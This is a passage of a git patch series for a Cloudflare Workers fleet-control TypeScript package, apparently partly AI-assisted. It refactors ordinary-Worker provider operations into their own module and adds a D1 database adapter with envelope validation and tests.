this.#workerRouteZoneIds()) { - for await (const route of this.#collectBounded( - this.#client.workers.routes.list({ zone_id: zoneId }), - 'Worker zone-route inventory', - )) { - if (route.script !== scriptName) continue; - if (!route.id || !route.pattern) { - throw new Error( - `ordinary Worker '${scriptName}' has incomplete zone-route metadata`, - ); - } - zoneRoutes.push({ - zoneId, - routeId: route.id, - pattern: route.pattern, - }); - } - } - const subdomain = scriptPresent - ? await this.#client.workers.scripts.subdomain.get(scriptName, { - account_id: this.#accountId, - }) - : undefined; - return { - scriptPresent, - workersDevEnabled: subdomain?.enabled === true, - previewUrlsEnabled: subdomain?.previews_enabled === true, - customDomains, - zoneRoutes, - }; - }); + return inspectOrdinaryWorkerFootprint(this.#ordinary, scriptName); } async deleteControlWorker(scriptName: string): Promise { diff --git a/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts b/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts new file mode 100644 index 00000000..c148e747 --- /dev/null +++ b/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts @@ -0,0 +1,704 @@ +// SPDX-License-Identifier: Apache-2.0 + +// This module holds ordinary-Worker (plain-plane) provider operations that +// CloudflareProvisioningClient calls through one-line forwards or directly, +// plus the worker-migration helper it re-exports. Context-taking functions +// declare the slice of OrdinaryWorkerContext they need; the preparation and +// migration helpers take no context. +// Provider requests go through context.client, the client's SDK instance; +// this module imports nothing from cloudflare-client.ts. + +import type Cloudflare from 'cloudflare'; +import type { ScriptUpdateParams } from 'cloudflare/resources/workers/scripts/scripts'; +import type { VersionCreateParams } from 'cloudflare/resources/workers/scripts/versions'; +import { toFile } from 'cloudflare/uploads'; +import { attestedActiveVersionId } from './active-route.js'; +import { + isNotFound, + sanitizeProviderError, +} from './cloudflare-provider-errors.js'; +import { + assertOrdinaryWorkerDeploymentVersions, + providerBindingsToPlainWorkerShape, + readArrayField, + readField, + readStringField, + uploadIntentToProviderBindings, +} from './provider-binding-inventory.js'; +import type { + ExternalMutationFence, + OrdinaryWorkerDeploymentVersion, + PlainWorkerDatabaseInventoryEntry, + PlainWorkerDeploymentStatus, + PlainWorkerUploadIntent, + PlainWorkerVersionDetail, + PlainWorkerVersionSummary, +} from './types.js'; + +export const MAX_DATABASE_INVENTORY = 25_000; +const MAX_VERSION_INVENTORY = 5_000; + +export interface OrdinaryWorkerFootprint { + readonly scriptPresent: boolean; + readonly workersDevEnabled?: boolean; + readonly previewUrlsEnabled?: boolean; + readonly customDomains: readonly Readonly<{ + id: string; + hostname: string; + service: string; + }>[]; + readonly zoneRoutes: readonly import('./types.js').WorkerZoneRoute[]; +} + +export type CloudflareSdk = InstanceType; +type StagedOrdinaryWorkerUploadMetadata = VersionCreateParams.Metadata & { + readonly limits?: { readonly cpu_ms: number }; +}; +type OrdinaryWorkerUploadMetadata = + | (ScriptUpdateParams.Metadata & { + readonly limits?: { readonly cpu_ms: number }; + }) + | StagedOrdinaryWorkerUploadMetadata; +const PREPARED_ORDINARY_WORKER_UPLOAD: unique symbol = Symbol( + 'fleet-control.preparedOrdinaryWorkerUpload', +); +const PREPARED_ORDINARY_WORKER_DEPLOYMENT_VERSIONS: unique symbol = Symbol( + 'fleet-control.preparedOrdinaryWorkerDeploymentVersions', +); +/** @inline */ +export type PreparedOrdinaryWorkerUpload = Readonly<{ + [PREPARED_ORDINARY_WORKER_UPLOAD]: true; + intent: PlainWorkerUploadIntent; + files: readonly File[]; + metadata: string; + secretValues: readonly string[]; +}>; +/** @inline */ +export type PreparedOrdinaryWorkerDeploymentVersions = readonly Readonly<{ + percentage: number; + version_id: string; +}>[] & { + readonly [PREPARED_ORDINARY_WORKER_DEPLOYMENT_VERSIONS]: true; +}; + +function readWorkerVersionTag(version: unknown): string | undefined { + return readStringField(readField(version, 'annotations'), 'workers/tag'); +} + +export function workerMigrations( + migrations: readonly import('./types.js').DurableObjectMigration[], + previousTag?: string, +) { + if (migrations.length === 0) return undefined; + let pending = migrations; + if (previousTag !== undefined) { + const previousIndex = migrations.findIndex( + (migration) => migration.tag === previousTag, + ); + if (previousIndex < 0) { + throw new Error( + `previous Durable Object tag '${previousTag}' is absent from the ordered migration history`, + ); + } + pending = migrations.slice(previousIndex + 1); + } + if (pending.length === 0) return undefined; + return { + new_tag: pending.at(-1)?.tag, + old_tag: previousTag, + steps: pending.map((migration) => ({ + new_sqlite_classes: migration.newSqliteClasses + ? [...migration.newSqliteClasses] + : undefined, + new_classes: migration.newClasses ? [...migration.newClasses] : undefined, + deleted_classes: migration.deletedClasses + ? [...migration.deletedClasses] + : undefined, + renamed_classes: migration.renamedClasses?.map((renamed) => ({ + from: renamed.from, + to: renamed.to, + })), + })), + }; +} + +/** + * Dependencies used by ordinary-Worker provider operations. + * + * `accountId` and `client` are values captured from the provisioning client; + * the SDK transport reaches that client's request path. `schedule` enters its + * operation queue, `collectBounded` walks inventory while leaving the default + * bound on the client, `withMutationFence` establishes its mutation-fence + * scope, and `workerRouteZoneIds` performs its zone-id lookup. + * + * `CloudflareProvisioningClient` creates one context in its constructor from + * those values and bound arrows. + */ +export interface OrdinaryWorkerContext { + readonly accountId: string; + readonly client: CloudflareSdk; + schedule(operation: () => Promise): Promise; + collectBounded( + iterable: AsyncIterable | Iterable, + label: string, + max?: number, + ): AsyncGenerator; + withMutationFence( + fence: ExternalMutationFence, + operation: () => Promise, + ): Promise; + workerRouteZoneIds(): Promise; +} +type OrdinaryWorkerBaseContext = Pick< + OrdinaryWorkerContext, + 'accountId' | 'client' | 'schedule' +>; +type OrdinaryWorkerPagedContext = Pick< + OrdinaryWorkerContext, + 'accountId' | 'client' | 'schedule' | 'collectBounded' +>; +type OrdinaryWorkerFencedContext = Pick< + OrdinaryWorkerContext, + 'accountId' | 'client' | 'schedule' | 'withMutationFence' +>; +type OrdinaryWorkerFootprintContext = Pick< + OrdinaryWorkerContext, + 'accountId' | 'client' | 'schedule' | 'collectBounded' | 'workerRouteZoneIds' +>; +type OrdinaryWorkerCollectContext = Pick< + OrdinaryWorkerContext, + 'accountId' | 'client' | 'collectBounded' +>; + +export async function listOrdinaryWorkerSecretNames( + context: OrdinaryWorkerPagedContext, + scriptName: string, +): Promise { + return context.schedule(() => ordinaryWorkerSecretNames(context, scriptName)); +} + +export async function ordinaryWorkerSecretNames( + context: OrdinaryWorkerCollectContext, + scriptName: string, +): Promise { + const names: string[] = []; + try { + for await (const secret of context.collectBounded( + context.client.workers.scripts.secrets.list(scriptName, { + account_id: context.accountId, + }), + 'ordinary Worker secret inventory', + )) { + if (!secret.name) { + throw new Error( + `ordinary Worker '${scriptName}' returned a secret without a name`, + ); + } + names.push(secret.name); + } + } catch (error) { + if (isNotFound(error)) return []; + throw error; + } + return names.sort(); +} + +export async function listOrdinaryWorkerDatabases( + context: OrdinaryWorkerPagedContext, +): Promise { + return context.schedule(async () => { + const databases: PlainWorkerDatabaseInventoryEntry[] = []; + for await (const database of context.collectBounded( + context.client.d1.database.list({ + account_id: context.accountId, + per_page: 100, + }), + 'D1 database inventory', + MAX_DATABASE_INVENTORY, + )) { + databases.push({ + databaseId: readStringField(database, 'uuid'), + name: readStringField(database, 'name'), + }); + } + return databases; + }); +} + +export async function ordinaryWorkerDeploymentStatus( + context: OrdinaryWorkerBaseContext, + scriptName: string, +): Promise { + return context.schedule(async () => { + try { + const listed = await context.client.workers.scripts.deployments.list( + scriptName, + { + account_id: context.accountId, + }, + ); + const deployment = listed.deployments[0]; + if (!deployment) return undefined; + return { + versions: readArrayField(deployment, 'versions').map((version) => { + const rawPercentage = readField(version, 'percentage'); + return { + versionId: + readStringField(version, 'id') ?? + readStringField(version, 'version_id'), + percentage: + rawPercentage === undefined ? undefined : Number(rawPercentage), + }; + }), + }; + } catch (error) { + if (isNotFound(error)) return undefined; + throw error; + } + }); +} + +export async function listOrdinaryWorkerVersions( + context: OrdinaryWorkerPagedContext, + scriptName: string, +): Promise { + return context.schedule(async () => { + let yielded = false; + try { + const versions: PlainWorkerVersionSummary[] = []; + for await (const version of context.collectBounded( + context.client.workers.scripts.versions.list(scriptName, { + account_id: context.accountId, + per_page: 100, + }), + 'ordinary Worker version inventory', + MAX_VERSION_INVENTORY, + )) { + yielded = true; + versions.push({ + versionId: + readStringField(version, 'id') ?? + readStringField(version, 'version_id'), + tag: readWorkerVersionTag(version), + }); + } + return versions; + } catch (error) { + if (!yielded && isNotFound(error)) return undefined; + throw error; + } + }); +} + +export async function viewOrdinaryWorkerVersion( + context: OrdinaryWorkerBaseContext, + scriptName: string, + versionId: string, +): Promise { + return context.schedule(async () => { + const version = await context.client.workers.scripts.versions.get( + versionId, + { account_id: context.accountId, script_name: scriptName }, + ); + return { + versionId: + readStringField(version, 'id') ?? + readStringField(version, 'version_id'), + tag: readWorkerVersionTag(version), + bindings: providerBindingsToPlainWorkerShape( + readArrayField(readField(version, 'resources'), 'bindings'), + ), + }; + }); +} + +export async function findOrdinaryWorkerVersion( + context: OrdinaryWorkerBaseContext, + scriptName: string, + versionId: string, +): Promise { + try { + return await viewOrdinaryWorkerVersion(context, scriptName, versionId); + } catch (error) { + if (isNotFound(error)) return undefined; + throw error; + } +} + +export async function prepareOrdinaryWorkerUpload( + intent: PlainWorkerUploadIntent, +): Promise { + for (const module of intent.modules) { + if ( + !module || + typeof module.name !== 'string' || + (typeof module.content !== 'string' && + !(module.content instanceof Uint8Array)) || + (module.contentType !== undefined && + typeof module.contentType !== 'string') + ) { + throw new TypeError( + 'ordinary Worker modules must contain valid upload data', + ); + } + } + const bindings = uploadIntentToProviderBindings(intent); + const secretValues = intent.bindings.secrets.map(({ value }) => value); + const baseMetadata: StagedOrdinaryWorkerUploadMetadata = { + main_module: intent.mainModule, + bindings, + compatibility_date: intent.compatibilityDate, + compatibility_flags: intent.compatibilityFlags + ? [...intent.compatibilityFlags] + : undefined, + limits: + intent.limits.cpuMs === undefined + ? undefined + : { cpu_ms: intent.limits.cpuMs }, + annotations: { 'workers/tag': intent.candidateTag }, + }; + const metadata: OrdinaryWorkerUploadMetadata = + intent.mode === 'initial' + ? { + ...baseMetadata, + migrations: workerMigrations(intent.durableObjectMigrations), + } + : baseMetadata; + const encodedMetadata = JSON.stringify(metadata); + const files = await Promise.all( + intent.modules.map((module) => + toFile( + typeof module.content === 'string' + ? new TextEncoder().encode(module.content) + : module.content, + module.name, + { + type: module.contentType ?? 'application/javascript+module', + }, + ), + ), + ); + return { + [PREPARED_ORDINARY_WORKER_UPLOAD]: true, + intent, + files, + metadata: encodedMetadata, + secretValues, + }; +} + +export async function dispatchOrdinaryWorkerUpload( + context: OrdinaryWorkerBaseContext, + prepared: PreparedOrdinaryWorkerUpload, +): Promise { + const { files, intent, metadata, secretValues } = prepared; + await context.schedule(async () => { + const subdomain = context.client.workers.scripts.subdomain; + const uploadBody = { + account_id: context.accountId, + files: [...files], + // cloudflare/internal/uploads.mjs:102-129 bracket-flattens objects; + // Wrangler 4.118.0 serializes the same metadata value as JSON. + metadata: metadata as never, + }; + const send = async (call: () => Promise): Promise => { + try { + await call(); + } catch (error) { + throw sanitizeProviderError(error, secretValues); + } + }; + if (intent.mode === 'initial') { + await send(() => + context.client.workers.scripts.update(intent.scriptName, uploadBody, { + maxRetries: 0, + }), + ); + // Sanitization is limited to the upload request that carries secrets. + // Cloudflare rejects subdomain writes before the script exists. The + // caller attests public access before adopting a reconciled upload. + await subdomain.create(intent.scriptName, { + account_id: context.accountId, + enabled: intent.publicAccess.workersDevEnabled, + previews_enabled: intent.publicAccess.previewUrlsEnabled, + }); + return; + } + const current = await subdomain.get(intent.scriptName, { + account_id: context.accountId, + }); + if ( + current.enabled !== intent.publicAccess.workersDevEnabled || + current.previews_enabled !== intent.publicAccess.previewUrlsEnabled + ) { + // The staged path can converge public access first because the script + // exists; write-on-difference moves it toward the constant intent. + await subdomain.create(intent.scriptName, { + account_id: context.accountId, + enabled: intent.publicAccess.workersDevEnabled, + previews_enabled: intent.publicAccess.previewUrlsEnabled, + }); + } + await send(() => + context.client.workers.scripts.versions.create( + intent.scriptName, + uploadBody, + { maxRetries: 0 }, + ), + ); + }); +} + +export function prepareOrdinaryWorkerDeployment( + versions: readonly OrdinaryWorkerDeploymentVersion[], +): PreparedOrdinaryWorkerDeploymentVersions { + assertOrdinaryWorkerDeploymentVersions(versions); + return Object.assign( + versions.map(({ versionId, percentage }) => ({ + percentage, + version_id: versionId, + })), + { [PREPARED_ORDINARY_WORKER_DEPLOYMENT_VERSIONS]: true as const }, + ); +} + +export async function dispatchOrdinaryWorkerDeployment( + context: OrdinaryWorkerBaseContext, + scriptName: string, + versions: PreparedOrdinaryWorkerDeploymentVersions, +): Promise { + await context.schedule(() => + context.client.workers.scripts.deployments.create( + scriptName, + { + account_id: context.accountId, + strategy: 'percentage', + versions: [...versions], + }, + { maxRetries: 0 }, + ), + ); +} + +export async function deleteOrdinaryWorkerScript( + context: OrdinaryWorkerBaseContext, + scriptName: string, +): Promise<'deleted' | 'absent'> { + return context.schedule(async () => { + try { + await context.client.workers.scripts.delete(scriptName, { + account_id: context.accountId, + }); + return 'deleted'; + } catch (error) { + if (isNotFound(error)) return 'absent'; + throw error; + } + }); +} + +export async function disableOrdinaryWorkerPublicAccess( + context: OrdinaryWorkerFencedContext, + scriptName: string, + fence: ExternalMutationFence, +): Promise { + await context.withMutationFence(fence, () => + context.schedule(async () => { + try { + await context.client.workers.scripts.subdomain.create(scriptName, { + account_id: context.accountId, + enabled: false, + previews_enabled: false, + }); + } catch (error) { + if (!isNotFound(error)) throw error; + return; + } + const subdomain = await (async () => { + try { + return await context.client.workers.scripts.subdomain.get( + scriptName, + { account_id: context.accountId }, + ); + } catch (error) { + if (!isNotFound(error)) throw error; + return undefined; + } + })(); + if (!subdomain) return; + if (subdomain.enabled === true || subdomain.previews_enabled === true) { + throw new Error( + `ordinary Worker '${scriptName}' retains public subdomain ingress`, + ); + } + }), + ); +} + +export async function listCustomDomains( + context: OrdinaryWorkerPagedContext, +): Promise { + return context.schedule(async () => { + const domains: Array = []; + for await (const domain of context.collectBounded( + context.client.workers.domains.list({ account_id: context.accountId }), + 'custom domain inventory', + )) { + if (!domain.id || !domain.hostname || !domain.service) { + throw new Error( + 'Cloudflare returned incomplete custom-domain metadata', + ); + } + domains.push({ + id: domain.id, + hostname: domain.hostname, + service: domain.service, + }); + } + return domains; + }); +} + +export function attachCustomDomain( + context: OrdinaryWorkerFencedContext, + target: { readonly hostname: string; readonly service: string }, + fence: ExternalMutationFence, +): Promise { + return context.withMutationFence(fence, () => + context.schedule(async () => { + await context.client.workers.domains.update({ + account_id: context.accountId, + hostname: target.hostname, + service: target.service, + }); + }), + ); +} + +export function detachCustomDomain( + context: OrdinaryWorkerFencedContext, + domainId: string, + fence: ExternalMutationFence, +): Promise { + return context.withMutationFence(fence, () => + context.schedule(async () => { + try { + await context.client.workers.domains.delete(domainId, { + account_id: context.accountId, + }); + } catch (error) { + if (!isNotFound(error)) throw error; + } + }), + ); +} + +export async function inspectActiveWorkerRoute( + context: OrdinaryWorkerBaseContext, + scriptName: string, +): Promise< + | Readonly<{ + artifactVersion: string; + specDigest: string | undefined; + }> + | undefined +> { + return context.schedule(async () => { + let deploymentList: Awaited< + ReturnType + >; + try { + deploymentList = await context.client.workers.scripts.deployments.list( + scriptName, + { account_id: context.accountId }, + ); + } catch (error) { + if (isNotFound(error)) return undefined; + throw error; + } + const artifactVersion = attestedActiveVersionId( + deploymentList.deployments[0], + scriptName, + ); + const version = await context.client.workers.scripts.versions.get( + artifactVersion, + { account_id: context.accountId, script_name: scriptName }, + ); + const specDigest = (version.resources.bindings ?? []).flatMap((binding) => + binding.type === 'plain_text' && binding.name === 'FLEET_SPEC_DIGEST' + ? [binding.text] + : [], + )[0]; + return { + artifactVersion, + specDigest: typeof specDigest === 'string' ? specDigest : undefined, + }; + }); +} + +export async function inspectOrdinaryWorkerFootprint( + context: OrdinaryWorkerFootprintContext, + scriptName: string, +): Promise { + return context.schedule(async () => { + let scriptPresent = false; + for await (const script of context.collectBounded( + context.client.workers.scripts.list({ account_id: context.accountId }), + 'ordinary Worker script inventory', + )) { + if (script.id === scriptName) scriptPresent = true; + } + const customDomains: Array<{ + id: string; + hostname: string; + service: string; + }> = []; + for await (const domain of context.collectBounded( + context.client.workers.domains.list({ account_id: context.accountId }), + 'custom domain inventory', + )) { + if (domain.service !== scriptName) continue; + if (!domain.id || !domain.hostname) { + throw new Error( + `ordinary Worker '${scriptName}' has incomplete custom-domain metadata`, + ); + } + customDomains.push({ + id: domain.id, + hostname: domain.hostname, + service: domain.service, + }); + } + const zoneRoutes: import('./types.js').WorkerZoneRoute[] = []; + for (const zoneId of await context.workerRouteZoneIds()) { + for await (const route of context.collectBounded( + context.client.workers.routes.list({ zone_id: zoneId }), + 'Worker zone-route inventory', + )) { + if (route.script !== scriptName) continue; + if (!route.id || !route.pattern) { + throw new Error( + `ordinary Worker '${scriptName}' has incomplete zone-route metadata`, + ); + } + zoneRoutes.push({ + zoneId, + routeId: route.id, + pattern: route.pattern, + }); + } + } + const subdomain = scriptPresent + ? await context.client.workers.scripts.subdomain.get(scriptName, { + account_id: context.accountId, + }) + : undefined; + return { + scriptPresent, + workersDevEnabled: subdomain?.enabled === true, + previewUrlsEnabled: subdomain?.previews_enabled === true, + customDomains, + zoneRoutes, + }; + }); +} diff --git a/packages/fleet-control/src/cloudflare-provider-errors.ts b/packages/fleet-control/src/cloudflare-provider-errors.ts index f6e0d30e..64ce55d7 100644 --- a/packages/fleet-control/src/cloudflare-provider-errors.ts +++ b/packages/fleet-control/src/cloudflare-provider-errors.ts @@ -2,10 +2,11 @@ // This module holds safe-read and secret-redaction helpers for Cloudflare SDK // errors, and the shared isNotFound predicate. -// Its two sanitizer consumers use different members: ordinary-Worker upload -// dispatch calls sanitizeProviderError, while D1 export calls -// readErrorFieldSafely and sanitizedErrorName; isNotFound is shared by the -// client's control, WFP, and ordinary-Worker paths. +// Its two sanitizer consumers use different members: the ordinary-Worker +// upload dispatch (cloudflare-ordinary-worker-operations.ts) calls +// sanitizeProviderError, while the client's D1 export calls +// readErrorFieldSafely and sanitizedErrorName. Both modules import +// isNotFound. import { APIConnectionError, APIError } from 'cloudflare'; import { readField } from './provider-binding-inventory.js'; diff --git a/scripts/architecture-fixtures/fleet-control-leaf-imports-client.ts b/scripts/architecture-fixtures/fleet-control-leaf-imports-client.ts new file mode 100644 index 00000000..076b150a --- /dev/null +++ b/scripts/architecture-fixtures/fleet-control-leaf-imports-client.ts @@ -0,0 +1 @@ +import '../../packages/fleet-control/src/cloudflare-client.js'; diff --git a/scripts/architecture-positive-controls.test.mjs b/scripts/architecture-positive-controls.test.mjs index 0054eb49..ac1d1560 100644 --- a/scripts/architecture-positive-controls.test.mjs +++ b/scripts/architecture-positive-controls.test.mjs @@ -40,6 +40,8 @@ const controls = { 'scripts/architecture-fixtures/host-kit-misses-approval-bridge.ts', 'host-kit-reaches-approval-shapes': 'scripts/architecture-fixtures/host-kit-misses-approval-shapes.ts', + 'fleet-control-client-layers-are-one-way': + 'scripts/architecture-fixtures/fleet-control-leaf-imports-client.ts', }; test('every architecture rule has an executable positive control', () => { From daa7ef8dc6dece4e1cb00a0972c933e5f673c888 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Fri, 28 Aug 2026 14:04:03 +0400 Subject: [PATCH 007/169] feat(fleet-control): D1 binding adapter for the fleet-state database port D1FleetStateDatabase adapts a Workers D1Database binding to the state store's FleetStateDatabase port: query through all(), execute through run(), batch through the binding's batch. query and batch check the whole envelope (success, meta, results, row shape, batch count and order). execute checks the acknowledgement alone, because the Workers D1 shim returns run()'s envelope without backfilling results, and execute reads no rows. An error defined beside success: true is refused as contradictory. Binding errors propagate unchanged so the state store's duplicate-column cause traversal and the migration ledger's causes keep working. An empty batch resolves without a D1 call. MigrationDatabase.batch widens from Promise to Promise, so the same instance serves applyMigrationsWithLedger; the ledger discards that value and the existing implementers stay assignable. The two Wrangler harness probes drop their private near-duplicate adapters and construct the production adapter, so both harness suites exercise it on local D1. The fleet-state probe's lost-batch-response wrapper delegates explicitly, and a new cold-start case races sixteen stores' first writes on storage recreated by TestHarness.reset(), asserting the four tables and every tenant's tag. Node fake tests pin bindings, ordering, envelope refusals, and unchanged error propagation. The package source map gains the adapter, and its provisioning-backend line is corrected: it named two files after the ordinary-Worker core and its direct-API adapter had landed. The module is internal until the Worker-facing export lands, so dist/index.d.ts is byte-identical and there is no changeset. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01XyG1jJCrVSWfVQ3Zab15Rd --- packages/fleet-control/CLAUDE.md | 4 +- .../src/d1-fleet-state-database.ts | 128 +++++++ .../fleet-control/src/migration-ledger.ts | 3 +- .../test/d1-fleet-state-database.test.ts | 356 ++++++++++++++++++ .../fixtures/fleet-state-harness-probe.ts | 99 +++-- .../migration-ledger-harness-probe.ts | 36 +- .../test/state-store.harness.test.ts | 24 ++ 7 files changed, 582 insertions(+), 68 deletions(-) create mode 100644 packages/fleet-control/src/d1-fleet-state-database.ts create mode 100644 packages/fleet-control/test/d1-fleet-state-database.test.ts diff --git a/packages/fleet-control/CLAUDE.md b/packages/fleet-control/CLAUDE.md index 237f6256..47b112d0 100644 --- a/packages/fleet-control/CLAUDE.md +++ b/packages/fleet-control/CLAUDE.md @@ -14,9 +14,9 @@ Public behavior: Source map: - `provision.ts`, `backend-switch.ts`, `fleet.ts`: deployment lifecycle state machines -- `workers-for-platforms-backend.ts`, `wrangler-loop-backend.ts`: the two provisioning backends +- `workers-for-platforms-backend.ts`, `plain-worker-backend.ts`, `wrangler-loop-backend.ts`, `cloudflare-api-plain-worker-backend.ts`: provisioning backends (the Workers for Platforms backend, the shared ordinary-Worker core, and its Wrangler and direct-API adapters) - `cloudflare-client.ts`, `cloudflare-ordinary-worker-operations.ts`, `cloudflare-provider-errors.ts`, `cloudflare-rate-coordinator.ts`: provider API (the client, the ordinary-Worker operations behind it, the SDK-error helpers) and its shared quota fence -- `state-store.ts`, `migration-ledger.ts`, `export-store.ts`: durable fleet state +- `state-store.ts`, `migration-ledger.ts`, `d1-fleet-state-database.ts`, `export-store.ts`: durable fleet state (`d1-fleet-state-database.ts` adapts a Workers D1 binding to the state store's database port) - `workers/`: the platform's own deployed Workers, published as separate export entries ```bash diff --git a/packages/fleet-control/src/d1-fleet-state-database.ts b/packages/fleet-control/src/d1-fleet-state-database.ts new file mode 100644 index 00000000..8ff657d7 --- /dev/null +++ b/packages/fleet-control/src/d1-fleet-state-database.ts @@ -0,0 +1,128 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { + D1Database, + D1PreparedStatement, +} from '@cloudflare/workers-types'; +import type { FleetStateDatabase } from './state-store.js'; + +type Row = Readonly>; + +function isRecord(value: unknown): value is Row { + return typeof value === 'object' && value !== null && !Array.isArray(value); +} + +function isUnknownArray(value: unknown): value is readonly unknown[] { + return Array.isArray(value); +} + +function validateAck( + value: unknown, + message: string, +): asserts value is Row & Readonly<{ success: true; meta: Row }> { + // Extra envelope and meta fields stay accepted as D1 adds fields; a defined + // `error` beside `success: true` is contradictory and refused. + if ( + !isRecord(value) || + value.success !== true || + value.error !== undefined || + !isRecord(value.meta) + ) { + throw new Error(message); + } +} + +function validateEnvelope( + value: unknown, + message: string, +): asserts value is Readonly<{ + success: true; + meta: Row; + results: readonly Row[]; +}> { + validateAck(value, message); + if (!isUnknownArray(value.results) || !value.results.every(isRecord)) { + throw new Error(message); + } +} + +/** + * Adapts a Workers `D1Database` binding to the state store's database port. + * It validates acknowledgement and envelope shapes and leaves binding errors + * unchanged, preserving state-store duplicate-column cause traversal and + * migration-ledger causes. + * The same instance also satisfies `MigrationDatabase`: that port's batch + * result is `unknown`, and its `readonly string[]` bindings fit these + * `readonly unknown[]` parameters. + */ +export class D1FleetStateDatabase implements FleetStateDatabase { + readonly #binding: D1Database; + + constructor(binding: D1Database) { + if ( + typeof binding?.prepare !== 'function' || + typeof binding.batch !== 'function' + ) { + throw new Error( + 'D1FleetStateDatabase requires the Workers D1Database prepare/batch interface', + ); + } + this.#binding = binding; + } + + async query( + sql: string, + bindings: readonly unknown[] = [], + ): Promise { + const envelope: unknown = await this.#statement(sql, bindings).all(); + validateEnvelope(envelope, 'D1 query returned a malformed result'); + return envelope.results; + } + + /** + * Validates the acknowledgement because the shim does not backfill + * `results` for `run()`, and this method does not read rows. + */ + async execute(sql: string, bindings: readonly unknown[] = []): Promise { + const envelope: unknown = await this.#statement(sql, bindings).run(); + validateAck(envelope, 'D1 execute returned a malformed result'); + } + + async batch( + statements: readonly Readonly<{ + sql: string; + bindings?: readonly unknown[]; + }>[], + ): Promise { + // The port's result is one entry per statement, so an empty list has no + // statement to send. + if (statements.length === 0) return []; + const envelopes: unknown = await this.#binding.batch( + statements.map(({ sql, bindings = [] }) => + this.#statement(sql, bindings), + ), + ); + if (!isUnknownArray(envelopes)) { + throw new Error('D1 returned a malformed batch response'); + } + if (envelopes.length !== statements.length) { + throw new Error( + `D1 returned ${envelopes.length} batch results for ${statements.length} statements`, + ); + } + const results: (readonly Row[])[] = []; + for (const [index, envelope] of envelopes.entries()) { + validateEnvelope( + envelope, + `D1 batch statement ${index} returned a malformed result`, + ); + results.push(envelope.results); + } + return results; + } + + #statement(sql: string, bindings: readonly unknown[]): D1PreparedStatement { + const prepared = this.#binding.prepare(sql); + return bindings.length > 0 ? prepared.bind(...bindings) : prepared; + } +} diff --git a/packages/fleet-control/src/migration-ledger.ts b/packages/fleet-control/src/migration-ledger.ts index 751e2f48..f1e6da87 100644 --- a/packages/fleet-control/src/migration-ledger.ts +++ b/packages/fleet-control/src/migration-ledger.ts @@ -10,12 +10,13 @@ export interface MigrationDatabase { sql: string, bindings?: readonly string[], ): Promise>[]>; + /** Applies the statements as one transaction; the ledger does not read the result. */ batch( statements: readonly { readonly sql: string; readonly bindings?: readonly string[]; }[], - ): Promise; + ): Promise; } function migrationDigest(migration: D1Migration): string { diff --git a/packages/fleet-control/test/d1-fleet-state-database.test.ts b/packages/fleet-control/test/d1-fleet-state-database.test.ts new file mode 100644 index 00000000..77d8796c --- /dev/null +++ b/packages/fleet-control/test/d1-fleet-state-database.test.ts @@ -0,0 +1,356 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { + D1Database, + D1PreparedStatement, +} from '@cloudflare/workers-types'; +import { describe, expect, it } from 'vitest'; +import { D1FleetStateDatabase } from '../src/d1-fleet-state-database.js'; +import type { MigrationDatabase } from '../src/migration-ledger.js'; + +interface PreparedCall { + readonly sql: string; + readonly bindings: readonly unknown[]; + readonly bound: boolean; +} + +interface FakeScript { + readonly prepareError?: Error; + readonly bindError?: Error; + readonly all?: () => unknown; + readonly run?: () => unknown; + readonly batch?: () => unknown; +} + +interface FakeDatabase { + readonly binding: D1Database; + readonly prepared: PreparedCall[]; + readonly bindCalls: (readonly unknown[])[]; + readonly executedStatements: PreparedCall[]; + readonly batchStatements: (readonly Readonly[])[]; +} + +function envelope(results: readonly unknown[] = []): unknown { + return { success: true, meta: {}, results }; +} + +function exactly(message: string): RegExp { + return new RegExp(`^${message.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}$`); +} + +function fakeDatabase(script: FakeScript = {}): FakeDatabase { + const prepared: PreparedCall[] = []; + const bindCalls: (readonly unknown[])[] = []; + const executedStatements: PreparedCall[] = []; + const batchStatements: (readonly Readonly[])[] = []; + const statementCalls = new WeakMap(); + const fakeStatement = (call: PreparedCall): D1PreparedStatement => { + const statement = { + bind(...bindings: readonly unknown[]) { + if (script.bindError) throw script.bindError; + bindCalls.push(bindings); + return fakeStatement({ + sql: call.sql, + bindings, + bound: true, + }); + }, + all() { + executedStatements.push(call); + return Promise.resolve( + script.all === undefined ? envelope() : script.all(), + ); + }, + run() { + executedStatements.push(call); + return Promise.resolve( + script.run === undefined ? envelope() : script.run(), + ); + }, + } as D1PreparedStatement; + statementCalls.set(statement, call); + return statement; + }; + const binding = { + prepare(sql: string) { + if (script.prepareError) throw script.prepareError; + const call: PreparedCall = { sql, bindings: [], bound: false }; + prepared.push(call); + return fakeStatement(call); + }, + batch(statements: D1PreparedStatement[]) { + const calls = statements.map((statement) => { + const call = statementCalls.get(statement); + if (!call) throw new Error('fake received an unknown statement'); + return call; + }); + batchStatements.push(calls); + return Promise.resolve( + script.batch === undefined + ? calls.map(() => envelope()) + : script.batch(), + ); + }, + } as D1Database; + return { + binding, + prepared, + bindCalls, + executedStatements, + batchStatements, + }; +} + +describe('D1FleetStateDatabase', () => { + it('binds exact values and skips bind for empty bindings', async () => { + const fake = fakeDatabase(); + const database = new D1FleetStateDatabase(fake.binding); + const bindings = [1, 'two', null] as const; + + await database.query('SELECT empty'); + await database.query('SELECT bound', bindings); + + expect(fake.prepared).toEqual([ + { sql: 'SELECT empty', bindings: [], bound: false }, + { sql: 'SELECT bound', bindings: [], bound: false }, + ]); + expect(fake.bindCalls).toEqual([bindings]); + expect(fake.executedStatements).toEqual([ + { sql: 'SELECT empty', bindings: [], bound: false }, + { sql: 'SELECT bound', bindings, bound: true }, + ]); + }); + + it('returns query rows as received in their original order', async () => { + const rows = [{ id: 2 }, { id: 1 }]; + const fake = fakeDatabase({ all: () => envelope(rows) }); + + const result = await new D1FleetStateDatabase(fake.binding).query( + 'INSERT INTO records RETURNING id', + ); + + expect(result).toBe(rows); + expect(result).toEqual([{ id: 2 }, { id: 1 }]); + }); + + it('accepts query envelope and meta extensions', async () => { + const rows = [{ id: 1 }]; + const fake = fakeDatabase({ + all: () => ({ + success: true, + meta: { duration: 1, rows_read: 2, extra: true }, + results: rows, + served_by: 'v3', + }), + }); + + const result = await new 